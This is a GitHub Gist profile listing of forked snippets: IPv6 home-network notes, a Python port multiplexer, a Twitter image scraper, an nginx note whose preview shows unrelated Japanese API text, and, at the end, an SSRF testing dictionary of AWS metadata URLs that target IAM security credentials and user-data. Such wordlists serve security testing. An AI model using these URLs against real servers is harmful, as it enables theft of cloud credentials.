Skip to content

Instantly share code, notes, and snippets.

View JustHumanz's full-sized avatar
🐧
Hey there i am using github

Aldin Setiawan JustHumanz

🐧
Hey there i am using github
View GitHub Profile
@JustHumanz
JustHumanz / setup.md
Created March 25, 2019 13:25 — forked from threedaymonk/setup.md
IPv6 on home network behind NAT

Gateway machine

Topology

      - _                        NAT         Home network
         )           IPv4         |
        )<----> ISP <----> Router-|       

Public ) |

@JustHumanz
JustHumanz / mux.py
Created January 7, 2020 13:29 — forked from lc-at/mux.py
pymux: run multiple services in one port (connection multiplexer)
import select
import socket
import socketserver
__author__ = 'loncat <me@lcat.dev>'
services = [
{
'name': 'ssh',
'address': ('127.0.0.1', 22),
@JustHumanz
JustHumanz / scrape.js
Created March 5, 2020 07:11 — forked from davglass/scrape.js
Pull images from twitter based on a hashtag and save them locally.
#!/usr/bin/env node
/*
This is a total hack, just needed to grab all the photos from twitter
so that we could import them into our Flickr group..
*/
const fs = require('fs');
const config = require('./config.json');
const Twitter = require('twitter');
const parse = require('querystring').parse;
const client = new Twitter({
@JustHumanz
JustHumanz / nginx-403-forbidden-error-hosting-in-user-home-directory.md
Created February 25, 2021 04:59 — forked from jhjguxin/nginx-403-forbidden-error-hosting-in-user-home-directory.md
nginx 403 forbidden error when server static file under user home directory
*良識の範囲で使う。例えば、関連する市場も同時に表示するとか
追記:市場は終了…https://blog.nicovideo.jp/seiga/2019/12/post-1285.html
# 静画API
静画, コメント, タグ, 市場
マンガ, コメント, タグ, 市場(旧テーマ?お題)
自分のNGリスト取得
マイリスト取得?不明
ランキング
@JustHumanz
JustHumanz / cloud_metadata.txt
Created November 7, 2021 22:49 — forked from BuffaloWill/cloud_metadata.txt
Cloud Metadata Dictionary useful for SSRF Testing
## IPv6 Tests
http://[::ffff:169.254.169.254]
http://[0:0:0:0:0:ffff:169.254.169.254]
## AWS
# Amazon Web Services (No Header Required)
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]